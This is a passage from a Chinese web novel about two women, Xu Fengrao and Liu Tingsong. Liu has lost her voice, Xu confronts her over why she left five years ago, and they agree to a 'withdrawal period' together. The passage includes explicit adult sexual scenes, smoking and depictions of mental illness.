朦胧眼眸闪过迷茫,衣裙终于撑不住,掉落后堆积在腰间。 她张了张嘴,试图喊出熟悉称谓,却连声音都发不出一点,突然的警惕,让她瞧见许风扰微微皱起眉,眼眸写满疑惑,不知什么时候起就一直在试探。 柳听颂自个都清楚,今儿的自己比起以往,实在太过反常,哪怕极力掩饰,被发现也是迟早的事,尤其是在这种情况下,最容易被发现。 可她只想拖延,像个砍刀即将落在致命处,还在祈求时间再慢一些的囚徒。 她忤逆对方的掌控,她贴向许风扰,试图讨吻,同时手往下落,拽住对方停滞的手,将之前曲折的指掰直,与之前的一并推入。 无法说出话语的嗓子,其实并非丧失出声的能力,只是因为心理因素而无法说出准确音节,所以并不阻碍她发出一些短促的、压抑的音调,掺杂着哭腔,与眼泪一并落下,重重跌向对方掌心。 只听见风吹响玻璃窗,之前的满屏水珠都被吹晃,便拖长尾巴,齐刷刷往下滑,被微弱光亮映出些许晶莹。 落叶被卷走,不知是从那几天开始,周围树木已秃尽,只剩下厚重树皮,被水浸泡地发皱。 迟归的路人踩水而来,鞋子、裤脚被水浸泡,从刚开始的小心翼翼到后面的胡乱走,将水坑踩得四处溅起。 好像又有狗仔守在楼下,试图复刻之前的热搜,雨水打在漆黑雨衣上,捏着单反的手发红。 可注定今天是不能如愿了。 屋裏的两人没有一点离开的打算,任由颓靡而炽热的氛围攀升。 一次次触碰到界限,又戛然止住,得不到的感受迭加,生出更多渴望。 可主动权在许风扰手中,她不肯,柳听颂就无法抵达,试图靠近讨好,又被压回,就连最基本的亲吻都不被允许。 脑子逐渐浑噩,被这样的感受折磨着,心理与躯体都被吊起,不上不下又空洞虚无。 理智崩坏,最后一根弦断裂开。 随着夜色更重,屋裏更黑,那些摆放杂乱的乐器也变作漆黑一团,像是高高矮矮的小怪物。 丢在旁边手机好像亮了下,不知是谁发来消息,一连十几条,好半天才停下。 屏幕的壁纸还没有换,还是那天海边夕阳,两人都这样留着,即便闹成那样,也一直没管。 她想像之前一样央求,说着那些甜腻又带着喘///息的话语,许风扰喜欢听,也时常因此而心软。 可无论如何努力,她只能发出单调的音节,不像刚刚那种从唇间洩出的声调,而是含糊艰难、却连个标准字词都无法发出的声音。 许风扰骤然僵住,略带薄茧的手又一次停留在边缘。 可这一次并非故意。 隔着水雾,柳听颂瞧见她眼中的惊讶与不可置信。 她知道了。 那把悬在脖颈的砍刀还是落下了。 眼尾的泪连成珠串,摇摇欲坠的腿脚彻底支撑不住,脆弱躯体颤抖着跌向对方,那些被不允许的吻终于落下,胡乱、没有任何章法地贴在发间、额头。 她完全崩溃。 眼泪是烫的,吻也是。 许风扰完全被雨淹没,两场不同的大雨都将她淋湿。 不知何时就开始失了控。 那些柳听颂渴求而得不到的,最后都以一种极猛烈的姿态补回。 地毯都湿透,一半是眼泪一半是其他。 雨水渗透红砖,泛起潮湿的味道,楼下有闪光灯亮起,又在一无所获中按下删除键。 年代久远的路灯发出吱吱声音,灯光闪烁,直至彻底熄灭。 不知是谁伸手,砸落在琴弦上,发出杂乱乐声。 没有人理会,也无心理会。 地毯中的女人明明早已承受不住,却贪心地想要得到更多,被完全填满。 水声不断,雨直至日出时分才慢悠悠停下,天边出现淡淡一抹白,终于能瞧见那连绵起伏的山峦。 城市寂静无声,被雨水留下的雾气包裹,连本该整夜亮起的霓虹灯都熄灭。 积水不断滴落,在水洼中溅起圈圈涟漪。 嘈杂了一整夜的房间终于陷入安静,将已昏睡过去的女人打横抱起,卫生间的灯亮起,继而有水声响起。 再等片刻,柔软床铺陷出浅浅凹坑,许风扰扯过被子盖在对方身上。 没有躺下,即便已经足够疲倦,也没有一丝困倦,思绪还在跳跃,思索着柳听颂隐瞒的事情。 她坐在床边,垂落的眼眸情绪交织晦涩,久久停留在无意识蜷缩成一团的女人身上,许是被熟悉味道包裹,她睡得极沉,没被噩梦再吓醒。 拖长的影子就这样落在柳听颂身上,如同被子一般披盖着。 不知过了多久,连浸泡至发皱的指腹都完全被晾干。 她才慢吞吞拿起旁边手机,点开和梨子的聊天框,再等片刻,她站起身,悄然关上门。 ——— 有点失音的说话声不断响起,许风扰并不怎么开口,多是安静听着,偶尔点头出声表示自己还在。 此刻天已大亮,一夜的雨将城市冲刷得彻底,夏日暑气已彻底消散,只余下凄凄凉凉的秋寒。 “我知道了,”许风扰终于开口回应,并未因为对方的解释而缓和一点,面色更沉。 电话那边的人小心翼翼,恳求道:“我不知道你和听颂姐发生了什么,但是她现在的精神状态真的非常差,连心理医生都觉得棘手,请你多包容她些,起码现在不要过度刺激她,好吗?” 话音落下,许风扰并未第一时间回答,而是沉默片刻,才缓缓道:“这几天她都会在我这裏,你不用太担心,如果有什么事的话,可以给我打电话。” 闻言,梨子顿时松了口气,没能再说什么就被挂断,她下意识一愣,虽然与许风扰接触不多,但却明了她面冷心热的性子,这样的不礼貌举动还是第一次。 但梨子转念一想,又觉得恍然,任谁在这个时候都不能保持平静吧,许风扰此刻的态度都算克制了。 思绪到了这儿,她又忍不住嘆气,下意识翻向她建立的CP超话,最开始还招了几个粉丝的骂,后面就彻底冷清,不知什么时候才能热闹一点。 哪怕一点点。 梨子沉默着关上了手机,一夜没睡的面色苍白。 ——啪嗒。 打火机发出清脆声响,微弱火苗在灰暗空间中摇曳,点燃夹在唇边的细烟。 许风扰斜倚在客厅窗边,窗户已被打开,吹来潮湿冰凉的风,掀起额间白发,露出写满惘然的眉眼。 情绪得以宣洩,却没有得到缓和,反倒觉得迷茫,心脏破开一个洞,风就往裏头灌。 这让她想起很久前摘抄,那首西贝的《路人》,能够瞧见也是巧合,虽然她作曲天赋不错,可写词能力欠佳,总要磨磨蹭蹭许久。 那日也是,被词折磨得烦躁,许风扰索性披上外套起身,随着道路瞎走,直至一简陋书店才停,本来只是打算随意一翻,却瞥见这首诗。 那其实已经是柳听颂离开的第六个月,除去开头一个月的崩溃后,许风扰其实已像跨过去一般,不再经常哭,认命似的不再找人,继续活得像个正常人。 可当站在那儿,盯着那首诗时,她又忍不住落下眼泪,将纸页浸透。 许风扰深吸了一口气,被夹在唇见的细烟,火星燃得极快,以肉眼可见的速度燃烧了一小节。 “咳咳咳。” 紧接着,不会抽烟却莽撞的动作,就给她带来了咳嗽代价,脊背弯曲,又好像想起什么,连忙捂住嘴,将咳嗽声控制到最低。 白烟从指缝中冒出,眼尾冒出些许水雾,一下子就变得狼狈起来。 也是好笑,这烟还是前些日子和酒一块买的,可结果显然,酒没多几瓶,烟也丢在那边,直到现在才被取出。 许风扰稳了稳气息,不敢再乱折腾,开始小口小口的抿夹,将略微苦涩的尼古丁往肺裏咽。 吸烟其实不难,尤其是有身边人的耳濡目染,不过半支就已学会。 可许风扰依旧驼着背,倚在窗边,像是失去全部力气的烟鬼,只能靠着这点稀薄的尼古丁缓和不安与疼痛。 一支接着一支,烟灰被风吹得扬起,飘向远处,贴着玻璃窗的侧臂感受到刺骨冰冷。 说来好笑,她明明发誓要和柳听颂脱离关系,却连这点事都无法撇清干系。 不吸烟不喝酒是柳听颂教的,吸烟喝酒也与柳听颂有关,前者后者全都因她,没有旁人的一点参与。 可明明她和柳听颂相处的时间不长,之前到现在也不过一年半,还有一整个夏天在闹别扭,可柳听颂对她的影响却深刻,她所期望的未来、她坚持的习惯、她的性格三观,她的所有都与柳听颂有关。 她不是她的创造者,却塑造了现在的她。 于是在此之后,她的悲伤与欢喜都与柳听颂密切相连、息息相关。 眼睫颤动,碧色湖水掀起圈圈涟漪,那些克制的压抑,终究还是无法掩藏。 又想起那首诗,她曾无数次自言自语地念起那首诗,一遍遍地呢喃着。 “你治好了我的郁抑,而后赐给我悲伤。” 那些郁抑与悲伤之间的快乐,已是她生命中少有的幸福。 可这快乐藏有私心,幸福暗藏谎言,从来都是不是纯粹的干净。 忽有风起,将指尖的火星吹得更加明亮。 许风扰想, 她该怎么办啊。 远处的浓云散开,轻纱遮掩日出,周围的还是雾蒙蒙的,可已不能再拖延,众人都将清醒。 车辆驶出门外,推着简陋早餐车的阿婆脚步蹒跚,自从那些狗仔放弃蹲守后,她们又要辛苦早起,将摊子摆在更远的人流聚集处。 许风扰还记得有一个阿婆很会煮茶叶蛋,好像有什么特别秘方,总比其他家要更入味些。 细烟又一次燃烧殆尽。 许风扰深吸了口气,早晨的寒气刺骨,冻得人一激灵,头脑也变得清楚。 她能够和柳听颂变成路人吗? 她能原谅柳听颂吗? 她可以重新接受柳听颂吗 眼前闪过之前画面。 许风扰看清了她的惶恐与无助,只能用这种方式一遍遍讨好、一遍遍渴求,盼望着许风扰填满,明明已经虚弱得不堪,却蹙眉忍受。 那破碎眸光如湖面粼粼波光,也泛着柔妩的嫣红,一遍遍望着她,将那些无法说出的话语直白表露。 许风扰又点了支烟。 眼眸中焦距涣散,思绪杂乱。 其实对于柳听颂失声的事,她虽突然得知,却不是完全没有准备。 她有病、柳听颂也是。 那些情绪起伏过大后,就忍不住跳跃的思维、控制不住的洁癖,就是最明了证据。 而柳听颂比她隐瞒得更深,可若非十分了解,又怎么能如此完美的安抚。 而且,五年前的柳听颂可比现在稚嫩得多,即便未直白揭露,可那些亲密时光中偶尔露出马脚,足以让许风扰生出困惑。 没那个正常人能长期四五点起床熬粥,除非是工作,但她没有工作,她只是在一夜夜的失眠。 亢奋的时候,她会带着许风扰弹琴唱歌,甚至做出其他大胆的事,可情绪低落时,她只会躲在房间一声不吭。 她们都有病,她们都互相清楚,互相包容,互不戳破。 烟雾从唇间挤出,缥缈散在半空,将被冷风吹僵的面容模糊,眼眸逐渐飘远,没个焦距。 就这样,一支一支的烟,乱七八糟的思绪,许风扰站在窗边吹了一个早上的冷风。 直到暖阳彻底升起,那些湿漉漉的痕迹都干涸,空气不再潮湿,甚至泛起暖气。 许风扰终于站直身子,早已僵硬的腿脚瞬间冒出密密麻麻的痒,如同千万只蚂蚁在啃咬。 可她面色不变,就这样拖着暂时半瘫的腿脚,踏入浴室中。 半个小时后,洗完澡后的许风扰回到房间,坐到床边,被烟熏过的嗓音微哑,语气却平静:“柳听颂别装睡了。” “起来,我们聊聊。” 埋在床榻被褥间的女人终于睁开眼,眼眸中的血丝散去许多,但依旧疲倦。 事情没有解决,哪能睡得那么安心,不过浅眠一段时间,许风扰在外头站着,她在裏面蜷缩逃避罢了。 许风扰将手机点开,翻出笔记,递向对方。 “现在我问,你回答,”许风扰语气不变,意外的平静。 她又补充了句:“我刚刚给梨子打过电话了。” 未尽的话语隐隐带着警告。 这画面未免讽刺,之前她求着柳听颂开口时,哪怕旁人主动开口,她也要固执相信柳听颂,可现在,她要用别人的话语来证明柳听颂所说的话的真假。 柳听颂扯了扯嘴角,却没有说什么,安静起身,拿过手机。 许风扰停顿了下,先选择了个相对简单的问题:“三斤在哪裏?” 柳听颂愣了下,眼神疑惑地看向她。 许风扰就答:“我昨晚去过你家。” 柳听颂更加茫然,还想要答案。 可许风扰却不耐烦,直接道:“现在是你问我,还是我问你?” 她语气不算重,可柳听颂却被吓得颤了下,想要抬手拽住对方的手,又被许风扰躲开,她不敢继续,生怕许风扰再生气,连忙拿起手机就打字。 【我情况不大好,没办法照顾它,只能将三斤先寄养在宠物店裏】 许风扰看着屏幕,不知是什么心情,若不是猫被带走,她昨晚也不会误会那么深。 为了让许风扰放心,柳听颂又补充。 【他们照顾的很好,每天都给我发很多视频,宝宝要看吗?】 许风扰选择忽略那个称呼,只道:“下一个问题。” “这是你的第二次失声” 柳听颂犹豫了下,还是给予了正确的答案。 【是】 “半个月前,S大校庆的那一天?” 【是】 柳听颂看向她,原本清冷矜贵的眉眼,竟也会出现怯弱的表情,未有衣衫遮掩的脖颈,还有昨夜留下的指印和吻痕,构成缭乱画卷。 许风扰收回视线,深吸了一口气:“你第一次失声是因为我吗?” 这个问题让柳听颂僵住,大拇指无意识按住键盘,打出一串字母,却没有许风扰想要的答案。 而许风扰定定看向她,显然不准她再逃避。 柳听颂张了张嘴,却依旧发不出半点声音。 气氛就这样僵硬住,手机屏幕亮起又熄灭,连带着那些打出的字句都消失不见。 “是不是?”许风扰第二次提问,比之前更迫切地需要找到答案。 “这就是你不回国的原因?”许风扰开始抛出其他问题,眼眸紧紧盯着对方。 “但是你为什么要出国?” 她一字一顿道:“柳听颂,告诉我答案。” “别再瞒着我了,”碧色的眼眸暗淡下去,像是央求又像是最后的一丝挣扎。 被抛弃很多次的小狗还是心存希望,总盼望着从她这裏得到答案,而不是许南烛、梨子,或者其他人。 “告诉我,好不好?” 第66章 分手戒断期 此刻无声, 碧水眼眸倒映着对方身影。 那人面色依旧苍白疲倦,昨夜哭肿的眼眸今天依旧破碎,全身只着一件单薄短袖, 这衣服穿在许风扰身上时都显得宽大, 更何况是身形更纤弱的柳听颂。 领口从一侧肩膀滑落,衣袖塌至小臂, 与那些或深或浅的印记相衬托,便显得越发薄弱柔软,像是垂落湖面的细柳, 被水一浸便再也无法抽身, 完全陷进去。 “是许南烛吗?” 许风扰紧紧看着她, 开口前也曾考虑过委婉些,可真到了这个时候, 还是无法压制住心中焦躁。 柳听颂张了张嘴, 失声的时间太短, 一时还无法适应, 下意识想要开口说话又骤然止住, 咬住下唇后才点了点头。 看到这个回答, 许风扰不知是什么心情, 太多的情绪交织,复杂得无法准确形容,挺直如青竹的脊背终究还是弯下,无意识地抬手抚过裤兜,明明才学会抽烟,却在短时间内就养成依赖。 尼古丁都如此, 更何况…… 许风扰看向柳听颂,心又慢慢沉了下去。 事情已到了这种地步, 再怎么犹豫也只是拖延,终究要给出答案。 再说,柳听颂心裏很清楚,之前之所以能够逃避,全是因为许风扰的纵容,如今她不再有耐心等待,柳听颂就只剩下一条路可走。 “手机,”许风扰又一次催促。 “告诉我为什么。” 已经不是问号,而是硬邦邦的指令了。 手机屏幕又亮起,键盘被一点点按下,柳听颂现在甚至有些庆幸,幸好是打字,才能让她获得一点时间,小心斟酌着话语。 可也是因为这样的斟酌,才让房间陷入滞缓。 自私的一面在拉扯,告诉这是她唯一剩下、能够让许风扰心软的筹码,她应该写得更惨一些,加重笔墨、添油加醋,把那些可怜情节强调。 可打出的字句却简略。 【她发现你进娱乐圈后,很生气】 许风扰垂下眼,没有丝毫意外。 【我那时与她的合同期限还有一年……反正也没办法上臺,】 许风扰皱了皱眉,忍不住出声道:“你的合同和我有什么关系?” 柳听颂停顿一瞬,继而再打字。 【用我的资源,培养公司的其他新人】 事情其实并不复杂,许南烛说到底就是个利益至上的商人,继承人固然重要,可还是比不上眼前的公司。 且,当时的她虽已经转向其他行业,但因还未彻底站稳脚跟、仍然将娱乐公司当作钱袋子的缘故,对这边的掌控依旧严格,既然柳听颂已经无用,就该将手中资源让给其他人。 另外,她也担忧柳听颂在此时颂签约其他公司,引发各种舆论,尤其是在目前公司也就一个柳听颂能拿出手的情况下,若是解约,不知会闹出什么风波,影响手头资源。 故而,许南烛不允许在这个关键的转型时刻,出现任何风险,影响到她辛辛苦苦拼搏多年的目标。 于是交易就变得顺理成章,柳听颂自此出国五年,直到去年约定结束后,才联系杜语蓉,成立独立工作室。 “她当时是怎么和你说的?”看完这些,许风扰的表情并未缓和半点,反而越发阴沉。 柳听颂没有停顿,直接打字。 【她说我出国,她就不会再管你】 许风扰扯了扯嘴角,露出一个要哭不哭的表情。 这样的模样让柳听颂心一跳,连忙扯向她衣袖,仰头看向她。 许风扰仍由她拉着,低垂的眼眸盛满晦涩情绪,只道:“你就那么信她?” 柳听颂意识到不对,抬起手机就要问,可许风扰却比她更快,低声就道:“你离开后她来找过我。” “也是那一次,我被她赶走家门,签下断绝亲缘关系的合同。” “姐姐,”她呢喃着,喊出那个熟悉的称呼,却没有之前的亲昵,语气沉沉质问道:“这就是你自以为是的体贴吗?” 声音中没有一丝一毫的嘲讽,却足够让柳听颂僵硬住,她露出不可置信的表情,连忙拿起手机要解释。 【我一直有关注国内……】 话还没有打完,旁边人就直接道:“她明面上确实没有再为难我,可暗地裏的小动作一直没少过。” 捏住手机的手猛的收紧,薄皮下的莹白骨节几乎要刺出。 此刻天气正好,云散雨停后的日光明亮,映在残留的水洼间,焦黄的落叶漂浮于水面,温暖又安宁,是这个秋季裏难得的好天气。 可就在这样的天气裏,柳听颂浑身发冷,指尖发紫。 许风扰抬起眼,直勾勾看向她的眼眸,再一次问道:“这就是你的委曲求全吗?” 过分直白的话语,柳听颂想要辩解,却无从开口。 可许风扰没有停顿,继续道:“许南烛是什么样的人,你比我更懂,你却天真地选择继续相信,是怕她把你刚开始接近我的目的揭露吗?” 被褥已被揉得皱起,满是凌乱的痕迹。 许风扰深吸了口气,在过去的五年裏,她曾无数次幻想过这一幕,设定了无数次个场景 例如在人来人往的繁华街道,她拽着柳听颂大声质问,或在宴席中途在过道相撞,冷声对峙,又或者是十五、二十年后,许风扰早已不在乎,可柳听颂还要扯着她的手解释,她甚至连理由都替柳听颂想了无数个。 可没想过会像现在这样,在一个抵死纠缠后的秋季午后,两人面对面坐在床间,两掌的距离像坚不可摧的透明墙,将她们化作墙裏、墙外的两个世界,无法接近也无法逃离,都不想伤害对方,却将语言化作刀,一点点往对方心裏扎。 柳听颂低下头,几乎凝为实质愧疚越发厚重,不断压在身上,几乎将脊骨都碾碎。 许风扰不再忍让,一夜未眠的头脑敏锐,如同局外人般地漠然凌厉。 她再一次开口,掺着寒意的嗓音依旧:“柳听颂,这就是你自以为是造成的结果。” “你以为你体贴包容、为我牺牲,可我只看见你的自大傲慢,自以为自己可以处理好全部事情,却将我们的关系推到这种境地。” 许风扰讽笑一声,话到此处,便已说尽,没必要再添更多,也没力气再说了。 另一人低垂着头,瘦弱躯体微微颤抖,眼泪又滴落,砸在屏幕上。 柳听颂本来是不想哭的,她也知道哭泣没有任何作用,可酸涩与愧疚泛滥开,她无法做些什么,也不知道该做些什么,与许风扰的冷静形成鲜明对比的,是她的无措。 水花不断向屏幕砸开,楚澄恰好在此刻发来消息,像什么搞笑视频,哈哈哈哈了半天。 柳听颂捏着手机,那纤细得不堪折握的手腕在绷紧后,薄皮下的脉络就更加明显。 她哭得无声,连那些含糊的音节都没有发出,像个破碎的布偶娃娃,独自躲在偏僻角落。 许风扰沉默地看了一会,没有一句安慰,起身就径直走向门外。 ——嘭。 房门被关上,已经经不起一点风吹草动的柳听颂不禁战栗,眼泪又一次滴落。 被偏爱得有恃无恐的年长者,终于彻彻底底跌了跟头,狼狈倒在地上,无法爬起,也没有办法缓和泛滥的剧痛。 房间外有声响传出,柳听颂却完全听不见,彻底陷入情绪裏。 眼泪很快就滴满整个手机屏幕,顺着边缘滑落往下,在床单上留下一片痕迹。 许风扰会赶她走吗? 这是彻底结束了吗 许风扰不会原谅她了。 一个个问题从脑海中冒出,答案都是无法反驳的肯定,将她的恐慌与不安不断加深。 以至于让她忽略了离开又回来的脚步声。 热毛巾被丢在脸上,外头受万人追捧的柳天后,就这样被一块湿漉漉的白布蒙住脸。 紧接着床铺下陷,有人曲腿跪来,扯着白布就开始擦拭,那力度没有怜惜,和擦桌子一般,毫不客气地抹过柳听颂的眼尾、脸颊。 她斥道:“柳听颂,哭有用吗?” 粗糙又带着热气的毛巾带走那些尚未滴落的眼泪,散落的发丝都沾染了水迹,可怜兮兮地粘在脸颊边缘,不知是热的还是疼的,整张脸都红起。 可她不曾抬手反抗,如同一条被驯养得乖巧的狗,被打了还要摇起尾巴,甚至偏头贴向对方掌心。 许风扰没有说话,只是默默松开手,不准她再靠近。 “敷着,”许风扰言简意赅。 还冒着热气的白布就这样捂在眼前,失声之后连视觉都被剥夺,听觉因此变得格外敏感,清晰捕获对方接来下的每一句话。 “柳听颂,我发现我还是没办法和你直接断开。” 柳听颂心中冒出一丝希冀,无意识偏向许风扰的位置,想要听得更清楚。 “而你失声这件事,也与我一定干系,我不可能完全不管。” 柳听颂小弧度摇了摇头,想要否认。 可那人却忽略了她的小动作,干脆道:“我现在给你两个选择。” “第一,你现在就离开这裏,我会联系梨子过来接你,你以后的每一笔治疗费用都由我来负责,但从此之外我们再无其他关系。” 柳听颂面色更白,抬手想要往前抓,却什么都没抓到,只能无力地张了张嘴,依旧发不出任何字句。 而许风扰垂眼看着她抬起的手,没有上前或是退后,只是像块冰块般地杵在那儿。 她接着道:“第二,你失声的这段时间由我照顾,我会陪你去看心理医生,负责全部费用,作为交换条件,你得陪我走出戒断期。” 像是怕柳听颂不明白,她又补充道:“我们还可以像普通情侣那样接吻、拥抱,但我会慢慢断开对你的依赖,直到你恢复声音,我完全放下你。” 最后一丝希冀被掐灭,柳听颂闭着眼,彻底掉入绝望之中,就连热腾腾的毛巾都被眼泪打湿,一下子就凉透。 不用怀疑这话的真假,以她的性格,哪怕仅剩下一丝不想分手的念头,就算会装冷漠装远离,也不会说出这样的话。 她是真真切切地想要离开、并为此寻找彻底戒断的办法了。 “选第一就点头,第二就摇一下头。” 那人的声音又在耳边回响,清朗干净的声音没有半点变化,好像这只是一场普普通通的交易。 垂落在身侧的手揪紧被褥,那布料已被揪得杂乱不已,哪怕极力想要控制,可瘦弱躯体还是不断发着颤。 可即便如此,对面的许风扰也只是平静地看着她,没有催促也没有心疼。 不知过了多久,才见柳听颂沉默而无声地摇了下脑袋。 她选第二。 第67章 故技重施的惩罚 决定之后不再多说, 许风扰疲倦,扯过被子枕头,倒头就睡, 一觉醒来已是黄昏时刻, 又是一通折腾,等回过神来, 竟已到夜晚。 浴室水声淅淅沥沥,热腾腾的雾气蔓延开,客厅依旧昏黄, 勉强映出那些乐器的轮廓。 许风扰窝在单人沙发裏, 仅着黑色五分裤的长腿一曲一伸长, 地毯已被送去清洗,只能赤足踩在光洁瓷砖上, 趾尖微凉。 旁边新买的烟盒又被拆开, 烟灰缸裏丢着两个烟头, 许风扰单手拿着手机, 稍偏头贴着屏幕, 眼神懒散, 时不时回应一声。 电话那一头是楚澄, 声音依旧夸张,叨叨个不停。 “重返乐队那边催了又催,一直叫咱们快点填词录歌呢。” 之前的合作曲子被拖延了一日又一日,先是填词困难,而后许风扰与柳听颂又出了间隙,便一直没能重录。 时间一长, 网上难免传出疑虑声,许风扰与柳听颂不合这事又被抬了上来。 两边粉丝还吵了几回, 燃陨那边说填词不易,叫其他人不要* 干涉、催促乐队的创作,柳听颂那边说燃陨故意拿乔拖延,两边人打得不可开交,差点又上了热搜。 “不录,”许风扰干脆得很,说完才记得补充:“就说词还没有写好。” “张导说可以请几个人帮忙填词的,费用由他们那边出。” 许风扰皱了皱眉,不再掩饰目的,直接道:“暂时录不了,你找个理由拒绝她吧。” 柳听颂现在的状态不好摆在明面,索性由燃陨乐队出面拒绝。 而楚澄也是这样想,眼下不过是为了知会许风扰一声,便一句话都不劝,点了个头就表示知道。 她又说:“这段时间有好几家公司联系咱们了,你看过没有?” 她们已和原公司闹得那么难看,自然不会再续约,这段时间也有很多公司闻声而来,给出极不错的条件。 “看过几家,”许风扰揉了揉眉心。 “那你是怎么想的,签那家?” 群裏商量过几次,但最后的决定还是应由许风扰这个队长拍板。 许风扰顿了下,没能第一时间回答,眼神定在旁边乐器上,不知想了些什么,才慢吞吞冒出恍惚一句。 “橙子,要是我不想搞乐队了……” 她声音很轻,飘忽至几乎不可闻,风一吹就彻底消散开。 对面人自然没能听清,当即连声追问:“你说啥了,大声点。” 许风扰摇了摇头,只道:“我再看看吧。” “成,”楚澄话音一转,小心翼翼就道:“你现在怎么想?你和听颂姐真的不可能了” 今天的事刚刚已在群裏提过,楚澄她们已清楚明了。 许风扰不禁抬眼,看向不远处的浴室。 那儿光线明亮,提供热量的浴霸最是晃眼,水雾从门缝中挤出,那磨砂的门面隐隐能瞧见些许轮廓,不大清晰,可偏是这样,才最引人遐想。 许风扰垂落下眼,只道:“先这样吧。” 楚澄无奈,也知她们情况复杂,没办法给予一个合适的解决办法,只能由当事人自我折磨纠结,她又道:“今儿中秋还去泡温泉吧,昭昭那小家伙闹着要玩水。” “你带她一起?我准备找地方定酒店了?” 提起昭昭,许风扰面色一缓,轻笑道:“天天在家裏玩水还不够,还要换个地方玩。” 昭昭从小就喜欢玩水,每天都要在浴缸裏泡许久,被纪鹿南拍视频吐槽了一回又一回。 浴室裏的水声终于停歇,紧接着是布料的摩擦声。 楚澄也笑,说:“这次给她挑个大池子,让她带着她的鸭子、乌龟、青蛙一块泡。” 昭昭性子可爱,众人也惯她,平常没少送这些玩具,以至于每次泡澡都无非将玩具摆完,让小孩一洗澡就得和选妃似的,挑挑拣拣半天才下水。 思绪到此处,许风扰便想起自己很久没送她什么了,当即就准备打开购物软件下单。 浴室门被轻轻拧开,有人携着热气走出,还未踏出几步,便听见许风扰开口道:“我们自己去就好,泡温泉的话……她应该会不方便吧。” “怎么会不方便,她要是怕有人拍到,我包个私汤别墅就是。” 许风扰仍是拒绝:“她挺忙的,下次吧。” 停在原地的人不曾开口,只在电话挂断后才踏入房间。 吹风机的声音响起又落下,客厅的灯终于熄灭。 房间裏还亮着微弱的壁灯,洗漱后的许风扰携着清凉薄荷味走入,盛满水的杯子放到床头柜上,没有交谈就转身,翻出新的睡衣。 床上的女人已蜷缩进被子裏,只余下一个单薄背影。 床又陷下去一截,许风扰躺进被窝裏,想了想才道:“明天我陪你去看医生。” “我刚刚问过纪鹿南,她那边认识几个还不错的心理医生,已经帮我们约好了。” 她表现得十分急切,好像十分迫切地想要柳听颂恢复声音,然后离开她一样。 柳听颂抿了抿唇,只是发出闷闷的声音,表示自己在听。 话到此处,好像已无话可说,房间又陷入寂静中,只有时有时无的呼吸声。 许风扰翻了个身,拉扯着被子,背对向柳听颂,虽是同一张床,两人中间的距离却遥远,都紧紧贴着边缘。 直到有人主动翻身,小心靠近。 许风扰察觉到了却没有阻拦,就这样直挺挺地杵在那儿。 那人先低头,额头抵在她脊骨,单薄布料隔绝不了温度传来,微重的呼吸不断落下,同一种沐浴露的香气交缠。 她等了下,见许风扰没有反抗后,才慢慢又贴过来。 手搭在对方腰间,得寸进尺地贴近,将两人间的缝隙挤压殆尽。 柔软腰腹贴着后腰,足背贴在脚心,泛起些许难耐的痒。 许风扰有些僵硬,直起脊背又被更贴近,看似柔和的态度,实际却强势,让她退无可退。 温凉的唇擦过脊骨,又顺着骨节一点点往上。 扇动的眼帘,深色眼眸缱绻又带着依恋,若能够出声,随着每一个吻落下的是,应是一声声亲昵的宝宝。 吻落在后颈,柳听颂微微仰头,贴在脚心的足背也勾起,挠出细密的痒。 许风扰不禁缩了缩脖子,低声斥道:“柳听颂。” 回应的只有又落下的吻,轻轻贴在微凸的颈骨上,没有像之前那样短暂触碰就移开,而是用齿尖轻轻咬住,舌尖在圆骨上打转。 许风扰“嘶”了声,差点往前弹,隐忍抓住床垫边缘。 “柳听颂,”她再次警告。 那人却吮吸住,留下淡淡痕迹。 没办法阻拦,这是她给她的权利,在戒断期裏她们仍然是情侣、爱人,可以随意超出界限,做出逾矩的行为。 舌尖往上撩过,柳听颂好像特别喜欢这样,在她脊骨间徘徊,不曾挪向其他地方。 许风扰呼吸重了些,床垫被掐得凹下去,五指下的坑洞都清醒可见。 凸起的圆骨被水润泽,反出晶莹的一层水光,像被打磨后从水中捞出过的玉石,勾得柳听颂一次又一次地为它俯首。 难耐的酥麻从脊骨散开,随着骨头扩散至全身。 实在受不了。 许风扰猛的翻过身,那人被迫退后,却仰头看向她。 不知何时,清亮眼眸又氤氲起朦胧水雾,还没有彻底消肿的眼眶又泛起红。 她抬眼看着许风扰,湿润乖软,像只露出肚皮的猫,小心翼翼贴向许风扰抬起的手,精致的脸颊埋进她掌心,随着眼帘扇动,就有水滴落下。 她又哭了。 这几日,清冷骄矜的柳天后彻底变成哭包,而作为将她惹哭的罪魁祸首,许风扰当然知道她又因为什么难受,早就察觉到对方要洗好,故意将话题拖长,直到柳听颂能听见时才开口。 就是故意,要柳听颂不好受,时时刻刻都被这样的感受凌迟,如同她一般难受。 薄唇贴向掌心,开合间用口型说着。 想要。 要做。 好像怕许风扰不懂,换作字句一遍遍重复。 上我。 做。 吐息缠绕在掌心,将纹路填满,明明都没有冒出声音,可却比出声更让人觉得深刻,毕竟要全神贯注去分辨,而有大脑具有补充功能,字词浮现在脑后中还不够,就连声音都配上。 许风扰被痒的不行,指节曲折扣住对方的脸,在对方即将说出更过分直白的话语前,将其彻底堵住。 可柳听颂不依不饶,腿又缠了上来,纤薄腰肢扭动,将已潮湿地方磨在对方微微曲起的膝盖。 可下一秒,她又顿住,被疼得皱起眉。 昨天的闹腾过分,哪裏是一夜就能缓过来的,柳听颂现在都还觉得腰酸腿软,更别说被反复撞击的其他地方。 许风扰像是笑了下,另一只手掰开后就扇。 那人顿时一抖,发出含糊的呜咽求饶声。 刚刚的逾矩,现在就得到了惩罚。 可这还不够,一巴掌接着一巴掌,单薄的布料被扇出闷响声,不久后又多了水声。 柳听颂想躲,又被扣着侧腰拽回来,腰腹紧绷至颤抖,瑟瑟袅袅,虚柔得不堪一击。 晚风摇晃窗户,枯枝被吹得折断,夜色更浓,稀薄的云遮住弯月,高楼的影子都变得稀薄,只在地上留下淡淡的灰影。 被昨夜大雨耽搁了捕猎的虫子,在此刻纷纷探出脑袋,往落叶堆积的草丛中钻去。 空气微凉,潮湿的味道直到现在都未消散,偶有一两声鸟鸣响起,片刻就消失不见。 路上的行人被白日的温暖蒙骗,穿得极其单薄,这下只能用双臂环抱住自己,极力捂出一点暖意。 丢在床头柜的手机发出嗡嗡震动声,可许风扰却不在意,扇打的手沾了一手水,最后连轻轻一碰都会惹出战栗。 那位又试图故技重施的年长者,再一次吃尽了苦头,蜷缩在对方怀裏,发出低哑、断续的哭腔。 没被允许的作乱,代价就是如此沉重,哪怕是许风扰故意驱使,也叫她吃尽了苦头。 最后不知什么时候结束,柳听颂已彻底瘫软在对方怀裏,还是许风扰帮忙,刚刚散完热气的浴室又传出水声,丢在柜中的药膏被取出,被一点点敷在红肿处。 